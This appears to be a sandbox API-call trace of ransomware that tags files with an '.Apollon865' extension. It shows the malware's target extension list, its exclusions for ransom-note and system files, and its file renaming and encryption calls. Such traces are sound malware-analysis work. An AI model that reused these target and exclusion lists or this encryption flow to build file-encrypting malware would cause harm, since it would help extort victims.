	[0087.626] lstrcmpiW (lpString1="wav", lpString2="adf") returned 1
	[0087.626] lstrlenW (lpString="adn") returned 3
	[0087.626] lstrcmpiW (lpString1="wav", lpString2="adn") returned 1
	[0087.626] lstrlenW (lpString="adp") returned 3
	[0087.626] lstrcmpiW (lpString1="wav", lpString2="adp") returned 1
	[0087.626] lstrlenW (lpString="alf") returned 3
	[0087.626] lstrcmpiW (lpString1="wav", lpString2="alf") returned 1
	[0087.626] lstrlenW (lpString="ask") returned 3
	[0087.626] lstrcmpiW (lpString1="wav", lpString2="ask") returned 1
	[0087.626] lstrlenW (lpString="btr") returned 3
	[0087.626] lstrcmpiW (lpString1="wav", lpString2="btr") returned 1
	[0087.626] lstrlenW (lpString="cat") returned 3
	[0087.626] lstrcmpiW (lpString1="wav", lpString2="cat") returned 1
	[0087.626] lstrlenW (lpString="cdb") returned 3
	[0087.626] lstrcmpiW (lpString1="wav", lpString2="cdb") returned 1
	[0087.626] lstrlenW (lpString="ckp") returned 3
	[0087.626] lstrcmpiW (lpString1="wav", lpString2="ckp") returned 1
	[0087.626] lstrlenW (lpString="cma") returned 3
	[0087.626] lstrcmpiW (lpString1="wav", lpString2="cma") returned 1
	[0087.626] lstrlenW (lpString="cpd") returned 3
	[0087.626] lstrcmpiW (lpString1="wav", lpString2="cpd") returned 1
	[0087.626] lstrlenW (lpString="dacpac") returned 6
	[0087.626] lstrcmpiW (lpString1="z9.wav", lpString2="dacpac") returned 1
	[0087.626] lstrlenW (lpString="dad") returned 3
	[0087.626] lstrcmpiW (lpString1="wav", lpString2="dad") returned 1
	[0087.626] lstrlenW (lpString="dadiagrams") returned 10
	[0087.626] lstrcmpiW (lpString1="hhoVz9.wav", lpString2="dadiagrams") returned 1
	[0087.626] lstrlenW (lpString="daschema") returned 8
	[0087.626] lstrcmpiW (lpString1="oVz9.wav", lpString2="daschema") returned 1
	[0087.626] lstrlenW (lpString="db-journal") returned 10
	[0087.627] lstrcmpiW (lpString1="hhoVz9.wav", lpString2="db-journal") returned 1
	[0087.627] lstrlenW (lpString="db-shm") returned 6
	[0087.627] lstrcmpiW (lpString1="z9.wav", lpString2="db-shm") returned 1
	[0087.627] lstrlenW (lpString="db-wal") returned 6
	[0087.627] lstrcmpiW (lpString1="z9.wav", lpString2="db-wal") returned 1
	[0087.627] lstrlenW (lpString="dbc") returned 3
	[0087.627] lstrcmpiW (lpString1="wav", lpString2="dbc") returned 1
	[0087.627] lstrlenW (lpString="dbs") returned 3
	[0087.627] lstrcmpiW (lpString1="wav", lpString2="dbs") returned 1
	[0087.627] lstrlenW (lpString="dbt") returned 3
	[0087.627] lstrcmpiW (lpString1="wav", lpString2="dbt") returned 1
	[0087.627] lstrlenW (lpString="dbv") returned 3
	[0087.627] lstrcmpiW (lpString1="wav", lpString2="dbv") returned 1
	[0087.627] lstrlenW (lpString="dbx") returned 3
	[0087.627] lstrcmpiW (lpString1="wav", lpString2="dbx") returned 1
	[0087.627] lstrlenW (lpString="dcb") returned 3
	[0087.627] lstrcmpiW (lpString1="wav", lpString2="dcb") returned 1
	[0087.627] lstrlenW (lpString="dct") returned 3
	[0087.627] lstrcmpiW (lpString1="wav", lpString2="dct") returned 1
	[0087.627] lstrlenW (lpString="dcx") returned 3
	[0087.627] lstrcmpiW (lpString1="wav", lpString2="dcx") returned 1
	[0087.627] lstrlenW (lpString="ddl") returned 3
	[0087.627] lstrcmpiW (lpString1="wav", lpString2="ddl") returned 1
	[0087.627] lstrlenW (lpString="dlis") returned 4
	[0087.627] lstrcmpiW (lpString1=".wav", lpString2="dlis") returned -1
	[0087.627] lstrlenW (lpString="dp1") returned 3
	[0087.627] lstrcmpiW (lpString1="wav", lpString2="dp1") returned 1
	[0087.627] lstrlenW (lpString="dqy") returned 3
	[0087.627] lstrcmpiW (lpString1="wav", lpString2="dqy") returned 1
	[0087.627] lstrlenW (lpString="dsk") returned 3
	[0087.627] lstrcmpiW (lpString1="wav", lpString2="dsk") returned 1
	[0087.627] lstrlenW (lpString="dsn") returned 3
	[0087.627] lstrcmpiW (lpString1="wav", lpString2="dsn") returned 1
	[0087.627] lstrlenW (lpString="dtsx") returned 4
	[0087.627] lstrcmpiW (lpString1=".wav", lpString2="dtsx") returned -1
	[0087.627] lstrlenW (lpString="dxl") returned 3
	[0087.628] lstrcmpiW (lpString1="wav", lpString2="dxl") returned 1
	[0087.628] lstrlenW (lpString="eco") returned 3
	[0087.628] lstrcmpiW (lpString1="wav", lpString2="eco") returned 1
	[0087.628] lstrlenW (lpString="ecx") returned 3
	[0087.628] lstrcmpiW (lpString1="wav", lpString2="ecx") returned 1
	[0087.628] lstrlenW (lpString="edb") returned 3
	[0087.628] lstrcmpiW (lpString1="wav", lpString2="edb") returned 1
	[0087.628] lstrlenW (lpString="epim") returned 4
	[0087.628] lstrcmpiW (lpString1=".wav", lpString2="epim") returned -1
	[0087.628] lstrlenW (lpString="fcd") returned 3
	[0087.628] lstrcmpiW (lpString1="wav", lpString2="fcd") returned 1
	[0087.628] lstrlenW (lpString="fdb") returned 3
	[0087.628] lstrcmpiW (lpString1="wav", lpString2="fdb") returned 1
	[0087.628] lstrlenW (lpString="fic") returned 3
	[0087.628] lstrcmpiW (lpString1="wav", lpString2="fic") returned 1
	[0087.628] lstrlenW (lpString="flexolibrary") returned 12
	[0087.628] lstrcmpiW (lpString1="uhhhoVz9.wav", lpString2="flexolibrary") returned 1
	[0087.628] lstrlenW (lpString="fm5") returned 3
	[0087.628] lstrcmpiW (lpString1="wav", lpString2="fm5") returned 1
	[0087.628] lstrlenW (lpString="fmp") returned 3
	[0087.628] lstrcmpiW (lpString1="wav", lpString2="fmp") returned 1
	[0087.628] lstrlenW (lpString="fmp12") returned 5
	[0087.628] lstrcmpiW (lpString1="9.wav", lpString2="fmp12") returned -1
	[0087.628] lstrlenW (lpString="fmpsl") returned 5
	[0087.628] lstrcmpiW (lpString1="9.wav", lpString2="fmpsl") returned -1
	[0087.628] lstrlenW (lpString="fol") returned 3
	[0087.628] lstrcmpiW (lpString1="wav", lpString2="fol") returned 1
	[0087.628] lstrlenW (lpString="fp3") returned 3
	[0087.628] lstrcmpiW (lpString1="wav", lpString2="fp3") returned 1
	[0087.628] lstrlenW (lpString="fp4") returned 3
	[0087.628] lstrcmpiW (lpString1="wav", lpString2="fp4") returned 1
	[0087.628] lstrlenW (lpString="fp5") returned 3
	[0087.628] lstrcmpiW (lpString1="wav", lpString2="fp5") returned 1
	[0087.628] lstrlenW (lpString="fp7") returned 3
	[0087.628] lstrcmpiW (lpString1="wav", lpString2="fp7") returned 1
	[0087.628] lstrlenW (lpString="fpt") returned 3
	[0087.629] lstrcmpiW (lpString1="wav", lpString2="fpt") returned 1
	[0087.629] lstrlenW (lpString="frm") returned 3
	[0087.629] lstrcmpiW (lpString1="wav", lpString2="frm") returned 1
	[0087.629] lstrlenW (lpString="gdb") returned 3
	[0087.629] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0087.629] lstrlenW (lpString="gdb") returned 3
	[0087.629] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0087.629] lstrlenW (lpString="grdb") returned 4
	[0087.629] lstrcmpiW (lpString1=".wav", lpString2="grdb") returned -1
	[0087.629] lstrlenW (lpString="gwi") returned 3
	[0087.629] lstrcmpiW (lpString1="wav", lpString2="gwi") returned 1
	[0087.629] lstrlenW (lpString="hdb") returned 3
	[0087.629] lstrcmpiW (lpString1="wav", lpString2="hdb") returned 1
	[0087.629] lstrlenW (lpString="his") returned 3
	[0087.629] lstrcmpiW (lpString1="wav", lpString2="his") returned 1
	[0087.629] lstrlenW (lpString="ib") returned 2
	[0087.629] lstrcmpiW (lpString1="av", lpString2="ib") returned -1
	[0087.629] lstrlenW (lpString="idb") returned 3
	[0087.629] lstrcmpiW (lpString1="wav", lpString2="idb") returned 1
	[0087.629] lstrlenW (lpString="ihx") returned 3
	[0087.629] lstrcmpiW (lpString1="wav", lpString2="ihx") returned 1
	[0087.629] lstrlenW (lpString="itdb") returned 4
	[0087.629] lstrcmpiW (lpString1=".wav", lpString2="itdb") returned -1
	[0087.629] lstrlenW (lpString="itw") returned 3
	[0087.629] lstrcmpiW (lpString1="wav", lpString2="itw") returned 1
	[0087.629] lstrlenW (lpString="jet") returned 3
	[0087.629] lstrcmpiW (lpString1="wav", lpString2="jet") returned 1
	[0087.629] lstrlenW (lpString="jtx") returned 3
	[0087.629] lstrcmpiW (lpString1="wav", lpString2="jtx") returned 1
	[0087.629] lstrlenW (lpString="kdb") returned 3
	[0087.630] lstrcmpiW (lpString1="wav", lpString2="kdb") returned 1
	[0087.630] lstrlenW (lpString="kexi") returned 4
	[0087.630] lstrcmpiW (lpString1=".wav", lpString2="kexi") returned -1
	[0087.630] lstrlenW (lpString="kexic") returned 5
	[0087.630] lstrcmpiW (lpString1="9.wav", lpString2="kexic") returned -1
	[0087.630] lstrlenW (lpString="kexis") returned 5
	[0087.630] lstrcmpiW (lpString1="9.wav", lpString2="kexis") returned -1
	[0087.630] lstrlenW (lpString="lgc") returned 3
	[0087.630] lstrcmpiW (lpString1="wav", lpString2="lgc") returned 1
	[0087.630] lstrlenW (lpString="lwx") returned 3
	[0087.630] lstrcmpiW (lpString1="wav", lpString2="lwx") returned 1
	[0087.630] lstrlenW (lpString="maf") returned 3
	[0087.630] lstrcmpiW (lpString1="wav", lpString2="maf") returned 1
	[0087.630] lstrlenW (lpString="maq") returned 3
	[0087.630] lstrcmpiW (lpString1="wav", lpString2="maq") returned 1
	[0087.630] lstrlenW (lpString="mar") returned 3
	[0087.630] lstrcmpiW (lpString1="wav", lpString2="mar") returned 1
	[0087.630] lstrlenW (lpString="marshal") returned 7
	[0087.630] lstrcmpiW (lpString1="Vz9.wav", lpString2="marshal") returned 1
	[0087.630] lstrlenW (lpString="mas") returned 3
	[0087.630] lstrcmpiW (lpString1="wav", lpString2="mas") returned 1
	[0087.630] lstrlenW (lpString="mav") returned 3
	[0087.630] lstrcmpiW (lpString1="wav", lpString2="mav") returned 1
	[0087.630] lstrlenW (lpString="maw") returned 3
	[0087.630] lstrcmpiW (lpString1="wav", lpString2="maw") returned 1
	[0087.630] lstrlenW (lpString="mdbhtml") returned 7
	[0087.630] lstrcmpiW (lpString1="Vz9.wav", lpString2="mdbhtml") returned 1
	[0087.631] lstrlenW (lpString="mdn") returned 3
	[0087.631] lstrcmpiW (lpString1="wav", lpString2="mdn") returned 1
	[0087.631] lstrlenW (lpString="mdt") returned 3
	[0087.631] lstrcmpiW (lpString1="wav", lpString2="mdt") returned 1
	[0087.631] lstrlenW (lpString="mfd") returned 3
	[0087.631] lstrcmpiW (lpString1="wav", lpString2="mfd") returned 1
	[0087.631] lstrlenW (lpString="mpd") returned 3
	[0087.631] lstrcmpiW (lpString1="wav", lpString2="mpd") returned 1
	[0087.631] lstrlenW (lpString="mrg") returned 3
	[0087.631] lstrcmpiW (lpString1="wav", lpString2="mrg") returned 1
	[0087.631] lstrlenW (lpString="mud") returned 3
	[0087.631] lstrcmpiW (lpString1="wav", lpString2="mud") returned 1
	[0087.631] lstrlenW (lpString="mwb") returned 3
	[0087.631] lstrcmpiW (lpString1="wav", lpString2="mwb") returned 1
	[0087.631] lstrlenW (lpString="myd") returned 3
	[0087.631] lstrcmpiW (lpString1="wav", lpString2="myd") returned 1
	[0087.631] lstrlenW (lpString="ndf") returned 3
	[0087.631] lstrcmpiW (lpString1="wav", lpString2="ndf") returned 1
	[0087.631] lstrlenW (lpString="nnt") returned 3
	[0087.631] lstrcmpiW (lpString1="wav", lpString2="nnt") returned 1
	[0087.631] lstrlenW (lpString="nrmlib") returned 6
	[0087.631] lstrcmpiW (lpString1="z9.wav", lpString2="nrmlib") returned 1
	[0087.631] lstrlenW (lpString="ns2") returned 3
	[0087.631] lstrcmpiW (lpString1="wav", lpString2="ns2") returned 1
	[0087.631] lstrlenW (lpString="ns3") returned 3
	[0087.631] lstrcmpiW (lpString1="wav", lpString2="ns3") returned 1
	[0087.631] lstrlenW (lpString="ns4") returned 3
	[0087.631] lstrcmpiW (lpString1="wav", lpString2="ns4") returned 1
	[0087.631] lstrlenW (lpString="nsf") returned 3
	[0087.631] lstrcmpiW (lpString1="wav", lpString2="nsf") returned 1
	[0087.631] lstrlenW (lpString="nv") returned 2
	[0087.631] lstrcmpiW (lpString1="av", lpString2="nv") returned -1
	[0087.631] lstrlenW (lpString="nv2") returned 3
	[0087.631] lstrcmpiW (lpString1="wav", lpString2="nv2") returned 1
	[0087.631] lstrlenW (lpString="nwdb") returned 4
	[0087.631] lstrcmpiW (lpString1=".wav", lpString2="nwdb") returned -1
	[0087.632] lstrlenW (lpString="nyf") returned 3
	[0087.632] lstrcmpiW (lpString1="wav", lpString2="nyf") returned 1
	[0087.632] lstrlenW (lpString="odb") returned 3
	[0087.632] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0087.632] lstrlenW (lpString="odb") returned 3
	[0087.632] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0087.632] lstrlenW (lpString="oqy") returned 3
	[0087.632] lstrcmpiW (lpString1="wav", lpString2="oqy") returned 1
	[0087.632] lstrlenW (lpString="ora") returned 3
	[0087.632] lstrcmpiW (lpString1="wav", lpString2="ora") returned 1
	[0087.632] lstrlenW (lpString="orx") returned 3
	[0087.632] lstrcmpiW (lpString1="wav", lpString2="orx") returned 1
	[0087.632] lstrlenW (lpString="owc") returned 3
	[0087.632] lstrcmpiW (lpString1="wav", lpString2="owc") returned 1
	[0087.632] lstrlenW (lpString="p96") returned 3
	[0087.632] lstrcmpiW (lpString1="wav", lpString2="p96") returned 1
	[0087.632] lstrlenW (lpString="p97") returned 3
	[0087.632] lstrcmpiW (lpString1="wav", lpString2="p97") returned 1
	[0087.632] lstrlenW (lpString="pan") returned 3
	[0087.632] lstrcmpiW (lpString1="wav", lpString2="pan") returned 1
	[0087.632] lstrlenW (lpString="pdb") returned 3
	[0087.632] lstrcmpiW (lpString1="wav", lpString2="pdb") returned 1
	[0087.632] lstrlenW (lpString="pdm") returned 3
	[0087.632] lstrcmpiW (lpString1="wav", lpString2="pdm") returned 1
	[0087.632] lstrlenW (lpString="pnz") returned 3
	[0087.632] lstrcmpiW (lpString1="wav", lpString2="pnz") returned 1
	[0087.632] lstrlenW (lpString="qry") returned 3
	[0087.632] lstrcmpiW (lpString1="wav", lpString2="qry") returned 1
	[0087.632] lstrlenW (lpString="qvd") returned 3
	[0087.632] lstrcmpiW (lpString1="wav", lpString2="qvd") returned 1
	[0087.632] lstrlenW (lpString="rbf") returned 3
	[0087.632] lstrcmpiW (lpString1="wav", lpString2="rbf") returned 1
	[0087.632] lstrlenW (lpString="rctd") returned 4
	[0087.632] lstrcmpiW (lpString1=".wav", lpString2="rctd") returned -1
	[0087.632] lstrlenW (lpString="rod") returned 3
	[0087.632] lstrcmpiW (lpString1="wav", lpString2="rod") returned 1
	[0087.633] lstrlenW (lpString="rodx") returned 4
	[0087.633] lstrcmpiW (lpString1=".wav", lpString2="rodx") returned -1
	[0087.633] lstrlenW (lpString="rpd") returned 3
	[0087.633] lstrcmpiW (lpString1="wav", lpString2="rpd") returned 1
	[0087.633] lstrlenW (lpString="rsd") returned 3
	[0087.633] lstrcmpiW (lpString1="wav", lpString2="rsd") returned 1
	[0087.633] lstrlenW (lpString="sas7bdat") returned 8
	[0087.633] lstrcmpiW (lpString1="oVz9.wav", lpString2="sas7bdat") returned -1
	[0087.633] lstrlenW (lpString="sbf") returned 3
	[0087.633] lstrcmpiW (lpString1="wav", lpString2="sbf") returned 1
	[0087.633] lstrlenW (lpString="scx") returned 3
	[0087.633] lstrcmpiW (lpString1="wav", lpString2="scx") returned 1
	[0087.633] lstrlenW (lpString="sdb") returned 3
	[0087.633] lstrcmpiW (lpString1="wav", lpString2="sdb") returned 1
	[0087.633] lstrlenW (lpString="sdc") returned 3
	[0087.633] lstrcmpiW (lpString1="wav", lpString2="sdc") returned 1
	[0087.633] lstrlenW (lpString="sdf") returned 3
	[0087.633] lstrcmpiW (lpString1="wav", lpString2="sdf") returned 1
	[0087.633] lstrlenW (lpString="sis") returned 3
	[0087.633] lstrcmpiW (lpString1="wav", lpString2="sis") returned 1
	[0087.633] lstrlenW (lpString="spq") returned 3
	[0087.633] lstrcmpiW (lpString1="wav", lpString2="spq") returned 1
	[0087.633] lstrlenW (lpString="te") returned 2
	[0087.633] lstrcmpiW (lpString1="av", lpString2="te") returned -1
	[0087.633] lstrlenW (lpString="teacher") returned 7
	[0087.633] lstrcmpiW (lpString1="Vz9.wav", lpString2="teacher") returned 1
	[0087.633] lstrlenW (lpString="tmd") returned 3
	[0087.633] lstrcmpiW (lpString1="wav", lpString2="tmd") returned 1
	[0087.633] lstrlenW (lpString="tps") returned 3
	[0087.633] lstrcmpiW (lpString1="wav", lpString2="tps") returned 1
	[0087.633] lstrlenW (lpString="trc") returned 3
	[0087.633] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0087.633] lstrlenW (lpString="trc") returned 3
	[0087.633] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0087.633] lstrlenW (lpString="trm") returned 3
	[0087.634] lstrcmpiW (lpString1="wav", lpString2="trm") returned 1
	[0087.634] lstrlenW (lpString="udb") returned 3
	[0087.634] lstrcmpiW (lpString1="wav", lpString2="udb") returned 1
	[0087.634] lstrlenW (lpString="udl") returned 3
	[0087.634] lstrcmpiW (lpString1="wav", lpString2="udl") returned 1
	[0087.634] lstrlenW (lpString="usr") returned 3
	[0087.634] lstrcmpiW (lpString1="wav", lpString2="usr") returned 1
	[0087.634] lstrlenW (lpString="v12") returned 3
	[0087.634] lstrcmpiW (lpString1="wav", lpString2="v12") returned 1
	[0087.634] lstrlenW (lpString="vis") returned 3
	[0087.634] lstrcmpiW (lpString1="wav", lpString2="vis") returned 1
	[0087.634] lstrlenW (lpString="vpd") returned 3
	[0087.634] lstrcmpiW (lpString1="wav", lpString2="vpd") returned 1
	[0087.634] lstrlenW (lpString="vvv") returned 3
	[0087.634] lstrcmpiW (lpString1="wav", lpString2="vvv") returned 1
	[0087.634] lstrlenW (lpString="wdb") returned 3
	[0087.634] lstrcmpiW (lpString1="wav", lpString2="wdb") returned -1
	[0087.634] lstrlenW (lpString="wmdb") returned 4
	[0087.634] lstrcmpiW (lpString1=".wav", lpString2="wmdb") returned -1
	[0087.634] lstrlenW (lpString="wrk") returned 3
	[0087.634] lstrcmpiW (lpString1="wav", lpString2="wrk") returned -1
	[0087.634] lstrlenW (lpString="xdb") returned 3
	[0087.634] lstrcmpiW (lpString1="wav", lpString2="xdb") returned -1
	[0087.634] lstrlenW (lpString="xld") returned 3
	[0087.634] lstrcmpiW (lpString1="wav", lpString2="xld") returned -1
	[0087.634] lstrlenW (lpString="xmlff") returned 5
	[0087.634] lstrcmpiW (lpString1="9.wav", lpString2="xmlff") returned -1
	[0087.634] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\aimL5n1QruhhhoVz9.wav.Apollon865") returned 68
	[0087.634] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\aimL5n1QruhhhoVz9.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\aiml5n1qruhhhovz9.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\aimL5n1QruhhhoVz9.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\aiml5n1qruhhhovz9.wav.apollon865"), dwFlags=0x1) returned 1
	[0087.636] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\aimL5n1QruhhhoVz9.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\aiml5n1qruhhhovz9.wav.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.636] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=56463) returned 1
	[0087.636] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.637] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.637] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.637] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.638] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.638] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.638] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf90, lpName=0x0) returned 0x15c
	[0087.638] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf90) returned 0x100000
	[0087.640] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.641] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.641] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.641] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.641] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.641] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.641] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.641] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.641] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.641] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0087.642] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.642] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0087.642] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.642] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.642] CloseHandle (hObject=0x15c) returned 1
	[0087.642] CloseHandle (hObject=0x9c) returned 1
	[0087.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.644] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0087.645] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.645] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0087.645] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0087.645] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0087.645] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0087.645] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0087.645] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0087.645] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0087.645] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0087.645] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0087.645] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0087.645] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0087.645] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0087.645] lstrlenW (lpString="desktop.ini") returned 11
	[0087.645] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\aimL5n1QruhhhoVz9.wav") returned 57
	[0087.645] lstrcpyW (in: lpString1=0x119e650, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0087.645] lstrlenW (lpString="desktop.ini") returned 11
	[0087.645] lstrlenW (lpString="Apollon865") returned 10
	[0087.645] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0087.645] lstrlenW (lpString=".dll") returned 4
	[0087.645] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0087.645] lstrlenW (lpString=".lnk") returned 4
	[0087.645] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0087.645] lstrlenW (lpString=".ini") returned 4
	[0087.645] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0087.645] lstrlenW (lpString=".sys") returned 4
	[0087.645] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0087.645] lstrlenW (lpString="desktop.ini") returned 11
	[0087.645] lstrlenW (lpString="bak") returned 3
	[0087.645] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0087.645] lstrlenW (lpString="ba_") returned 3
	[0087.646] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0087.646] lstrlenW (lpString="dbb") returned 3
	[0087.646] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0087.646] lstrlenW (lpString="vmdk") returned 4
	[0087.646] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0087.646] lstrlenW (lpString="rar") returned 3
	[0087.646] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0087.646] lstrlenW (lpString="zip") returned 3
	[0087.646] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0087.646] lstrlenW (lpString="tgz") returned 3
	[0087.646] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0087.646] lstrlenW (lpString="vbox") returned 4
	[0087.646] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0087.646] lstrlenW (lpString="vdi") returned 3
	[0087.646] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0087.646] lstrlenW (lpString="vhd") returned 3
	[0087.646] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0087.646] lstrlenW (lpString="vhdx") returned 4
	[0087.646] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0087.646] lstrlenW (lpString="avhd") returned 4
	[0087.646] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0087.646] lstrlenW (lpString="db") returned 2
	[0087.646] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0087.646] lstrlenW (lpString="db2") returned 3
	[0087.646] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0087.646] lstrlenW (lpString="db3") returned 3
	[0087.646] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0087.646] lstrlenW (lpString="dbf") returned 3
	[0087.646] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0087.647] lstrlenW (lpString="mdf") returned 3
	[0087.647] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0087.647] lstrlenW (lpString="mdb") returned 3
	[0087.647] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0087.647] lstrlenW (lpString="sql") returned 3
	[0087.647] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0087.647] lstrlenW (lpString="sqlite") returned 6
	[0087.647] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0087.647] lstrlenW (lpString="sqlite3") returned 7
	[0087.647] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0087.647] lstrlenW (lpString="sqlitedb") returned 8
	[0087.647] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0087.647] lstrlenW (lpString="xml") returned 3
	[0087.647] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0087.647] lstrlenW (lpString="$er") returned 3
	[0087.647] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0087.647] lstrlenW (lpString="4dd") returned 3
